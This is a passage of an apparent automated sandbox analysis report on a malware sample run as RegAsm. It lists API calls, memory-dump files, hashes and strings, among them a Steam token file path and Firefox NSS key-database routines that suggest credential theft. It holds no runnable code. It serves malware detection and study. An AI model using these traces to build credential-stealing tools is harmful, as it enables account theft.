String ID: Soft\Steam\steam_tokens.txt
API String ID: 502913869-3507145866
Opcode ID: 5fa3e5f5a7d99c71d5a07e024241de5809f96d492a7ce46a8d5a906dfdce2266
Instruction ID: b9e244e593406abc482e36c16cf2d8cfbf0e1e6176dab1e931287d86b5cd2df1
Opcode Fuzzy Hash: 5fa3e5f5a7d99c71d5a07e024241de5809f96d492a7ce46a8d5a906dfdce2266
Instruction Fuzzy Hash: 85012131E401196BCF00FBE6DD478CEBB74AF04358F514176FA00B7152DB78AA9A86E9

Function 004077F8 Relevance: 2.6, APIs: 2, Instructions: 63memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00003000,00000040,00000000,?,?,?,00407C18,?,?), ref: 0040784A
VirtualAlloc.KERNEL32(00000000,?,00003000,00000040), ref: 00407874

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: c062e49b8eac24d7b45a027ae12e9eff25198202155d78bc8260cd663ae55519
Instruction ID: 58502b0b00c881bab5b754626ee9ce4ad9b10c36d9ff74d45ae59ae86afa5875
Opcode Fuzzy Hash: c062e49b8eac24d7b45a027ae12e9eff25198202155d78bc8260cd663ae55519
Instruction Fuzzy Hash: C311B472A44705ABC724CFB8C989B9BB7F4EB40714F24483EE54AE7390E274B940C715

Function 0041CB82 Relevance: 2.5, APIs: 2, Instructions: 39COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 0041CB93

Part of subcall function 0041BB36: lstrlenA.KERNEL32(?,0041CBA4,0041CC46,00000000,06400000,00000003,00000000,00417548,.exe,00436C54,00436C50,00436C4C,00436C48,00436C44,00436C40,00436C3C), ref: 0041BB68
Part of subcall function 0041BB36: malloc.MSVCRT ref: 0041BB70
Part of subcall function 0041BB36: lstrcpyA.KERNEL32(00000000,?), ref: 0041BB7B

malloc.MSVCRT ref: 0041CBD0

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: malloc$lstrcpylstrlen
String ID:
API String ID: 2974738957-0
Opcode ID: 4595bf6652bd861db47711c07eba1f475a4793355c0293ea92a90e9bc1e457ce
Instruction ID: 4c3cdf298d727e75fc17b05e16df4c2533805ffc632fa59ef15d3e4aa307ec0d
Opcode Fuzzy Hash: 4595bf6652bd861db47711c07eba1f475a4793355c0293ea92a90e9bc1e457ce
Instruction Fuzzy Hash: 87F0F03224C2119BC7206F66ECC298BBB94EB447A0F150127F909DB741DA34EC4087B8

Function 00418477 Relevance: 1.6, APIs: 1, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a7be28913b008f2ae96c40d4c3cbdea9f3bf0fa10d656430b6d84dc5aab22f8
Instruction ID: d620d3b89a26654d629d90f14f46075588c5e55284dab618a13e253092a7b73d
Opcode Fuzzy Hash: 4a7be28913b008f2ae96c40d4c3cbdea9f3bf0fa10d656430b6d84dc5aab22f8
Instruction Fuzzy Hash: DF516471D05201BBCB717BAE454AAF5B2E1AF70328B14019FF414AA233AF6D4DC44E5D

Function 00407BD2 Relevance: 1.6, APIs: 1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4aee46d942c90ee67f27d5e8fe5d8177bbf388d1cde3035c6f676b54f388a22
Instruction ID: 6bc4e95e4b4d41cd45bcf0090cf4f159da268bf51a5422b08fd3501f4d4963e9
Opcode Fuzzy Hash: f4aee46d942c90ee67f27d5e8fe5d8177bbf388d1cde3035c6f676b54f388a22
Instruction Fuzzy Hash: 01319E71D0C2149FDF16DF55D8808AEBBB1EF84354B20816BE411B7391D738AE41DB9A

Function 00411DBC Relevance: 1.5, APIs: 1, Instructions: 34COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: 20eede1ec08166350aa84aaeaf6f89484e694a41dc1ff05f9af6969ada57dca3
Instruction ID: 156c1dbbae43fd1d0a321c185995a6c07ec42adcafd6aa93e4d61e548de03cb5
Opcode Fuzzy Hash: 20eede1ec08166350aa84aaeaf6f89484e694a41dc1ff05f9af6969ada57dca3
Instruction Fuzzy Hash: 57F03A71E1015DABDB15DF78DC909EEB7FDEB48204F0045BAB909D3281EA349F458B94

Function 00411D92 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?,?,?,0040DA7F,?,?,?), ref: 00411D99

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: c785e1c56cc5dd1355e14f627ee0373bbc421026e3e3e1ef34d967437d0958bc
Instruction ID: 4d5d301e7642eb8bcabe02fa2709f808051272e3482dadb5ff4d38445e53d8c5
Opcode Fuzzy Hash: c785e1c56cc5dd1355e14f627ee0373bbc421026e3e3e1ef34d967437d0958bc
Instruction Fuzzy Hash: 56D05E31A00138578B5097A9FC044DEBB49CB817B5B005263FA6D9A2F0C265AD9242D8

Function 00412541 Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

SHFileOperationA.SHELL32(?), ref: 00412577

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: FileOperation
String ID:
API String ID: 3080627654-0
Opcode ID: 2fa73a2938dc3c0491f5427acf8d7001b7904e631cbaf8597fe0ef56ad187ad8
Instruction ID: 074d44534fbd0e3dd8e2e790cb0091cd77f8033ebee76f0ae907b77f1a728c48
Opcode Fuzzy Hash: 2fa73a2938dc3c0491f5427acf8d7001b7904e631cbaf8597fe0ef56ad187ad8
Instruction Fuzzy Hash: B9E09AB0D0420EAFCF44EFA8D5152DDBAF8BF08308F00916AC115F7240E77442458FA9

Function 00411E1F Relevance: 1.3, APIs: 1, Instructions: 32memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000001,?,?,?,004168FA,?), ref: 00411E37

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: ab387d88e84e58f7ee09dd024291177f022f73d374550d18fdbda7562f7ae9e7
Instruction ID: dc66f3ebc75c526b8f29ca666c763a1a9938aadc44e5483d7dab6bcf02b3e8fe
Opcode Fuzzy Hash: ab387d88e84e58f7ee09dd024291177f022f73d374550d18fdbda7562f7ae9e7
Instruction Fuzzy Hash: 08E02B3AA41B201FC7724BAA8804AB7BB5A9FC2F61B18412BDF49CB324D535CC4182E4

Function 00407EAE Relevance: 1.3, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 00407EB5

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: cd808f50b226156c54d12c7445b6016a60ba6ba0c8715662d5550310cd1c8d18
Instruction ID: a2ed24522b90cf8d72a71430dfd18e5bb138dd64580460ce79602bb5834a96d0
Opcode Fuzzy Hash: cd808f50b226156c54d12c7445b6016a60ba6ba0c8715662d5550310cd1c8d18
Instruction Fuzzy Hash: EAE0EDB1A10108BFEB40DBA9D845A9EBBF8EF44254F1440BAE905E3281E670EE009B55

Non-executed Functions

Function 6C1C6E90 Relevance: 142.5, APIs: 71, Strings: 10, Instructions: 783stringmemoryCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C312120,6C1C7E60), ref: 6C1C6EBC
TlsGetValue.KERNEL32 ref: 6C1C6EDF
EnterCriticalSection.KERNEL32(?), ref: 6C1C6EF3
PR_WaitCondVar.NSS3(000000FF), ref: 6C1C6F25

Part of subcall function 6C19A900: TlsGetValue.KERNEL32(00000000,?,6C3114E4,?,6C134DD9), ref: 6C19A90F
Part of subcall function 6C19A900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6C19A94F

PR_Unlock.NSS3 ref: 6C1C6F68
PORT_ZAlloc_Util.NSS3(00000008), ref: 6C1C6FA9
TlsGetValue.KERNEL32 ref: 6C1C70B4
EnterCriticalSection.KERNEL32(?), ref: 6C1C70C8
PR_CallOnce.NSS3(6C3124C0,6C207590), ref: 6C1C7104
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C1C7117
SECOID_Init.NSS3 ref: 6C1C7128
PORT_Alloc_Util.NSS3(00000057), ref: 6C1C714E
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C1C717F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C1C71A9
PR_NotifyAllCondVar.NSS3 ref: 6C1C71CF
PR_Unlock.NSS3 ref: 6C1C71DD
free.MOZGLUE(?), ref: 6C1C71EE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C1C7208
free.MOZGLUE(00000000), ref: 6C1C7221
free.MOZGLUE(00000001), ref: 6C1C7235
TlsGetValue.KERNEL32 ref: 6C1C724A
EnterCriticalSection.KERNEL32(?), ref: 6C1C725E
PR_NotifyCondVar.NSS3 ref: 6C1C7273
PR_Unlock.NSS3 ref: 6C1C7281
SECMOD_DestroyModule.NSS3(00000000), ref: 6C1C7291
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C1C72B1
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C1C72D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C1C72E3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C1C7301
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C1C7310
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C1C7335
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C1C7344
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C1C7363
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C1C7372
PR_smprintf.NSS3(name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s",NSS Internal Module,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,6C300148,,defaultModDB,internalKeySlot), ref: 6C1C74CC
free.MOZGLUE(00000000), ref: 6C1C7513
free.MOZGLUE(00000000), ref: 6C1C751B
free.MOZGLUE(00000000), ref: 6C1C7528
free.MOZGLUE(00000000), ref: 6C1C753C
free.MOZGLUE(00000000), ref: 6C1C7550
free.MOZGLUE(00000000), ref: 6C1C7561
free.MOZGLUE(00000000), ref: 6C1C7572
free.MOZGLUE(00000000), ref: 6C1C7583
free.MOZGLUE(00000000), ref: 6C1C7594
free.MOZGLUE(00000000), ref: 6C1C75A2
SECMOD_LoadModule.NSS3(00000000,00000000,00000001), ref: 6C1C75BD
free.MOZGLUE(00000000), ref: 6C1C75C8
free.MOZGLUE(00000000), ref: 6C1C75F1
PR_NewLock.NSS3 ref: 6C1C7636
SECMOD_DestroyModule.NSS3(00000000), ref: 6C1C7686
PR_NewLock.NSS3 ref: 6C1C76A2

Part of subcall function 6C2798D0: calloc.MOZGLUE(00000001,00000084,6C1A0936,00000001,?,6C1A102C), ref: 6C2798E5

PORT_ZAlloc_Util.NSS3(00000050), ref: 6C1C76B6
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004), ref: 6C1C7707
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6C1C771C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6C1C7731
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,rdb:,00000004), ref: 6C1C774A
DeleteCriticalSection.KERNEL32(?), ref: 6C1C7770
free.MOZGLUE(?), ref: 6C1C7779
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C1C779A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C1C77AC
PORT_Alloc_Util.NSS3(-0000000D), ref: 6C1C77C4
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C1C77DB
strrchr.VCRUNTIME140(?,0000002F), ref: 6C1C7821
PORT_Alloc_Util.NSS3(?), ref: 6C1C7837
memcpy.VCRUNTIME140(00000000,00000000,00000000), ref: 6C1C785B
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C1C786F
SECMOD_AddNewModuleEx.NSS3 ref: 6C1C78AC
free.MOZGLUE(00000000), ref: 6C1C78BE
SECMOD_AddNewModuleEx.NSS3 ref: 6C1C78F3
free.MOZGLUE(00000000), ref: 6C1C78FC
free.MOZGLUE(00000000), ref: 6C1C791C

Part of subcall function 6C1A07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C13204A), ref: 6C1A07AD
Part of subcall function 6C1A07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C13204A), ref: 6C1A07CD
Part of subcall function 6C1A07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C13204A), ref: 6C1A07D6
Part of subcall function 6C1A07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C13204A), ref: 6C1A07E4
Part of subcall function 6C1A07A0: TlsSetValue.KERNEL32(00000000,?,6C13204A), ref: 6C1A0864
Part of subcall function 6C1A07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C1A0880
Part of subcall function 6C1A07A0: TlsSetValue.KERNEL32(00000000,?,?,6C13204A), ref: 6C1A08CB
Part of subcall function 6C1A07A0: TlsGetValue.KERNEL32(?,?,6C13204A), ref: 6C1A08D7
Part of subcall function 6C1A07A0: TlsGetValue.KERNEL32(?,?,6C13204A), ref: 6C1A08FB

Strings

sql:, xrefs: 6C1C76FE
Spac, xrefs: 6C1C7389
rdb:, xrefs: 6C1C7744
dll, xrefs: 6C1C788E
NSS Internal Module, xrefs: 6C1C74A2, 6C1C74C6
dbm:, xrefs: 6C1C7716
kbi., xrefs: 6C1C7886
,defaultModDB,internalKeySlot, xrefs: 6C1C748D, 6C1C74AA
name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s", xrefs: 6C1C74C7
extern:, xrefs: 6C1C772B

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: free$strlen$Value$Alloc_ModuleUtil$CriticalSectionstrncmp$CondEnterUnlockcallocmemcpy$CallDestroyErrorLockNotifyOnce$DeleteInitLoadR_smprintfWaitstrrchr
String ID: ,defaultModDB,internalKeySlot$NSS Internal Module$Spac$dbm:$dll$extern:$kbi.$name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s"$rdb:$sql:
API String ID: 3465160547-3797173233
Opcode ID: e9319c6824bb5d8be31f4a90ca2006c15bd9c86cb0485485154d4d99def2ce6e
Instruction ID: e743c2c92edbc17d0996900a2ecae3b3e8618137a65872b5f2e2f1541080f690
Opcode Fuzzy Hash: e9319c6824bb5d8be31f4a90ca2006c15bd9c86cb0485485154d4d99def2ce6e
Instruction Fuzzy Hash: F85216B1F002059BEF118F64DC067AE7BB4AF26308F14402AFD19A6A41E7B9D954CBD3

Function 6C1D6D90 Relevance: 60.3, APIs: 33, Strings: 1, Instructions: 809COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,6C2DA8EC,0000006C), ref: 6C1D6DC6
memcpy.VCRUNTIME140(?,6C2DA958,0000006C), ref: 6C1D6DDB
memcpy.VCRUNTIME140(?,6C2DA9C4,00000078), ref: 6C1D6DF1
memcpy.VCRUNTIME140(?,6C2DAA3C,0000006C), ref: 6C1D6E06
memcpy.VCRUNTIME140(?,6C2DAAA8,00000060), ref: 6C1D6E1C
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C1D6E38

Part of subcall function 6C25C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C25C2BF

PK11_DoesMechanism.NSS3(?,?), ref: 6C1D6E76
TlsGetValue.KERNEL32 ref: 6C1D726F
EnterCriticalSection.KERNEL32(?), ref: 6C1D7283

Strings

!, xrefs: 6C1D7123

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: memcpy$Value$CriticalDoesEnterErrorK11_MechanismSection
String ID: !
API String ID: 3333340300-2657877971
Opcode ID: cab349788694ce1e60d3c1352659a7ad2a8509f2c63fed6b16314a5b8981523a
Instruction ID: 4d6bd1cbe8b275d1b50eecee4bcf3896f1d72b70b73831f203f7e7c22b1efaf5
Opcode Fuzzy Hash: cab349788694ce1e60d3c1352659a7ad2a8509f2c63fed6b16314a5b8981523a
